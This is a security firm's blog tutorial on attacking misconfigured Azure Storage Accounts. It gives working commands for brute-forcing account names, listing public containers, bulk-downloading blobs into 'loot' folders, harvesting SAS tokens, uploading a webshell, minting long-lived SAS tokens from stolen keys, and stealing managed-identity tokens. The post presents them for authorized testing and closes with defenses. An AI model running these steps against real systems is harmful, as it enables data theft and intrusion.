Azure Storage Accounts: Enumeration & Exploitation Guide

Azure Storage Accounts are one of the most widely used components in Microsoft's cloud infrastructure. They power everything from enterprise application backends to data lakes and DevOps pipelines. But their flexibility is a double-edged sword. Misconfigured Azure Storage Accounts have led to some of the most significant data breaches in recent cloud history, exposing millions of sensitive records to unauthenticated attackers.

This blog breaks down how penetration testers and red teamers enumerate Azure Storage resources, identify misconfigurations, and exploit weaknesses, complete with actionable commands you can use in authorized engagements. If you want a professional team to do this for your organization, check out the penetration testing services at Redfox Cybersecurity.

What Is an Azure Storage Account

An Azure Storage Account is a namespace that provides access to Azure Storage data services, including:

• Blob Storage (unstructured data like files, images, backups)
• Table Storage (NoSQL key-value data)
• Queue Storage (message-based decoupled apps)
• File Storage (SMB-based cloud file shares)

Each storage account has a globally unique name, and resources are accessible over HTTPS at predictable URLs such as https://<accountname>.blob.core.windows.net. This predictability is what makes storage accounts both developer-friendly and attacker-friendly.

Why Azure Storage Accounts Are a Prime Attack Target

The attack surface is large because:

• Public blob containers are accessible to anyone on the internet without authentication
• Shared Access Signature (SAS) tokens are often over-permissioned and never expire
• Storage account keys grant full administrative access and are frequently leaked in source code
• CORS misconfigurations allow cross-origin data exfiltration
• Logging is often disabled, leaving no trace of unauthorized access

Organizations frequently store backups, database exports, configuration files, and credentials inside blob containers, sometimes without realizing those containers are publicly accessible.

If your Azure environment has never been tested, Redfox Cybersecurity offers cloud pentesting engagements specifically designed to uncover these exposures before attackers do.

Phase 1: Reconnaissance and Storage Account Discovery

Discovering Storage Accounts via Azure Subdomain Enumeration

Since storage account names are globally unique subdomains, attackers enumerate them using wordlists combined with DNS lookups or HTTP probing.

Using a tool like gobuster or a custom script, you can attempt to resolve common naming patterns:

# Using gobuster to brute-force Azure blob subdomain names
gobuster dns -d blob.core.windows.net -w /usr/share/wordlists/common.txt --timeout 5s

# Using a simple bash loop for targeted guessing
for name in $(cat company_wordlist.txt); do
 curl -s -o /dev/null -w "%{http_code} $name\n" https://$name.blob.core.windows.net
done


[cta]

Tools like MicroBurst (a PowerShell-based Azure offensive toolkit) automate this with built-in Azure-aware wordlists:

# Install MicroBurst
Import-Module MicroBurst.psm1

# Enumerate storage accounts associated with a company name
Invoke-EnumerateAzureBlobs -Base "targetcompany"


[cta]

This function tries hundreds of naming variations (targetcompany, targetcompany-dev, targetcompany-backup, targetcompany-prod, etc.) and reports which ones resolve, giving you a list of valid storage account names to investigate.

Using Azure CLI for Authenticated Enumeration

If you have compromised credentials (user, service principal, or managed identity), the Azure CLI is your best friend:

# List all storage accounts in the subscription
az storage account list --output table

# Get storage account keys (requires Storage Account Contributor or higher)
az storage account keys list --account-name <accountname> --resource-group <rg-name>

# List all blob containers in a storage account
az storage container list --account-name <accountname> --account-key <key> --output table


[cta]

Using the Azure REST API Directly

For cases where CLI tooling is restricted, hitting the REST API directly often works:

# Get OAuth bearer token using a service principal
TOKEN=$(curl -s -X POST \
 https://login.microsoftonline.com/<tenantid>/oauth2/v2.0/token \
 -d "client_id=<clientid>&client_secret=<secret>&scope=https://management.azure.com/.default&grant_type=client_credentials" \
 | jq -r '.access_token')

# List storage accounts in subscription
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/<subid>/providers/Microsoft.Storage/storageAccounts?api-version=2021-09-01" \
 | jq '.value[].name'


[cta]

Phase 2: Blob Container Enumeration and Public Access Testing

Checking for Public Blob Containers

Azure blob containers can be configured with three access levels: Private, Blob (anonymous read for blobs only), or Container (anonymous read and list). The last two represent critical misconfigurations.

# Check if a container is publicly listable (anonymous)
curl -s "https://<accountname>.blob.core.windows.net/<containername>?restype=container&comp=list"

# If successful, you'll receive an XML blob listing all files
# Example output:
# <EnumerationResults ServiceEndpoint="...">
#   <Blobs>
#     <Blob><Name>backup_2024.sql</Name>...</Blob>
#     <Blob><Name>config.json</Name>...</Blob>
#   </Blobs>


[cta]

Automated Container Enumeration with BlobHunter

BlobHunter is a Python tool that scans Azure storage accounts for exposed blobs:

git clone https://github.com/cyberark/BlobHunter
cd BlobHunter
pip install -r requirements.txt

# Run against a list of known storage accounts
python3 BlobHunter.py -u <subscriptionid> -t <tenantid> -c <clientid> -s <clientsecret>


[cta]

Downloading Files from Public Containers

Once a public container is found, the attacker can download every file without credentials:

# List container contents
curl -s "https://targetcompany.blob.core.windows.net/backups?restype=container&comp=list" \
 | grep -oP '(?<=<Name>)[^<]+'

# Download a specific blob
curl -O "https://targetcompany.blob.core.windows.net/backups/db_export_2024.sql"

# Bulk download using azcopy (no credentials needed for public containers)
azcopy copy "https://targetcompany.blob.core.windows.net/backups/*" ./loot/ --recursive


[cta]

This is how attackers exfiltrate entire datasets. A single misconfigured container with a database dump, private keys, or application secrets can compromise an entire organization.

If you suspect your Azure storage is exposed, the team at Redfox Cybersecurity can perform a full cloud security assessment and identify exposed data before it becomes a breach.

Phase 3: SAS Token Exploitation

What Makes SAS Tokens Dangerous

Shared Access Signatures (SAS) are signed URLs that grant time-limited access to storage resources. The problem is:

• SAS tokens are often generated with full read/write permissions
• Expiry dates are frequently set to years in the future
• They end up hardcoded in application code, mobile apps, or JavaScript bundles
• Revocation requires rotating the storage account key, which breaks all dependent applications

Extracting SAS Tokens from Source Code and Applications

# Search a cloned repository for SAS tokens
grep -rE "sv=[0-9]{4}-[0-9]{2}-[0-9]{2}&" ./repo/

# Common SAS token patterns in .env files, appsettings.json, etc.
grep -rE "(SharedAccessSignature|sig=|se=|spr=)" ./repo/ --include="*.json" --include="*.env" --include="*.config"

# Using trufflehog to scan git history for leaked tokens
trufflehog git file://./repo/ --only-verified


[cta]

Exploiting a Found SAS Token

Once a SAS token is obtained, an attacker can interact with the storage resource as if they had direct credentials:

# List all blobs using a SAS token
az storage blob list \
 --container-name <container> \
 --account-name <accountname> \
 --sas-token "sv=2021-08-06&ss=b&srt=co&sp=rwdlacuptfx&se=2099-01-01T00:00:00Z&st=2024-01-01T00:00:00Z&spr=https&sig=<signature>"

# Upload a malicious file to the container using a writable SAS token
azcopy copy ./webshell.php \
 "https://<accountname>.blob.core.windows.net/<container>/webshell.php?<SAS_TOKEN>"

# Download all blobs from a container using a SAS token
azcopy copy \
 "https://<accountname>.blob.core.windows.net/<container>/*?<SAS_TOKEN>" \
 ./exfil/ --recursive


[cta]

A write-enabled SAS token on a container that serves a web application is particularly devastating since an attacker can upload arbitrary files directly to the application's file storage.

Phase 4: Storage Account Key Abuse

Full Account Takeover via Storage Account Keys

Storage Account Keys are the equivalent of root passwords. With one, an attacker has unrestricted access to all data in the storage account.

# Once you have a key, authenticate and list everything
az storage container list \
 --account-name <accountname> \
 --account-key <storagekey>

# Download every blob in every container
for container in $(az storage container list --account-name <accountname> --account-key <key> --query "[].name" -o tsv); do
 azcopy copy "https://<accountname>.blob.core.windows.net/$container/*" \
   ./exfil/$container/ --recursive --account-key <key>
done


[cta]

Generating New SAS Tokens from a Compromised Key

If an attacker has the storage account key, they can generate their own SAS tokens with any permissions and any expiry:

# Generate a full-access SAS token that never expires (from an attacker's perspective)
az storage account generate-sas \
 --account-name <accountname> \
 --account-key <key> \
 --services b \
 --resource-types co \
 --permissions rwdlacuptfx \
 --expiry 2099-12-31 \
 --https-only


[cta]

This means even if the original key is rotated later, the generated SAS tokens remain valid until their own expiry date.

Phase 5: Privilege Escalation via Managed Identities and Storage

Leveraging Storage Access for Lateral Movement

In many Azure architectures, application code running on virtual machines or Azure Functions uses Managed Identities to access storage accounts. If an attacker compromises such an application (via SSRF, RCE, or code injection), they can steal the managed identity token and use it to interact with storage.

# From inside a compromised Azure VM, get the managed identity token
TOKEN=$(curl -s -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" \
 | jq -r '.access_token')

# Use the token to access blob storage
curl -s -H "Authorization: Bearer $TOKEN" \
    -H "x-ms-version: 2020-04-08" \
    "https://<accountname>.blob.core.windows.net/<container>?restype=container&comp=list"


[cta]

This technique is particularly effective because managed identity tokens do not require hardcoded credentials and are rotated automatically, meaning defenders often underestimate the exposure risk.

Defensive Measures and How Redfox Cybersecurity Helps

Understanding attack techniques is only half the equation. Defending against them requires:

• Disabling public blob access at the storage account level, not just at the container level, through the --allow-blob-public-access false flag.
• Enforcing short-lived SAS tokens with the minimum necessary permissions and using stored access policies to enable centralized revocation.
• Enabling Azure Defender for Storage, which detects anomalous access patterns, suspicious downloads, and known malicious IP interactions.
• Rotating storage account keys regularly and preferring Microsoft Entra ID (formerly Azure AD) authentication over key-based access wherever possible.
• Enabling logging and monitoring via Azure Monitor and Diagnostic Settings on all storage accounts so access events are captured.

Most organizations do not know their Azure Storage misconfigurations exist until it is too late. A proactive penetration test can identify every publicly accessible container, leaked SAS token, and over-privileged storage key before attackers do.

Redfox Cybersecurity's cloud penetration testing services are built specifically for environments like Azure, AWS, and GCP. The team performs real-world attack simulations, identifies storage-layer exposures, and delivers actionable remediation guidance tailored to your architecture.

Wrapping Up

Azure Storage Accounts are deceptively simple to set up and dangerously easy to misconfigure. The attack chain from initial reconnaissance through enumeration, SAS token abuse, key theft, and lateral movement is well-documented and actively exploited in the wild. The commands and techniques outlined in this blog reflect real attacker tradecraft used in authorized red team engagements.

Whether you are a penetration tester looking to expand your cloud attack skills or a security leader trying to understand your exposure, the key takeaway is clear: Azure Storage security requires proactive testing, not just checkbox compliance.

Ready to find out what attackers could see in your Azure environment? Get in touch with Redfox Cybersecurity and let the red team show you what is hiding in your cloud before someone else does.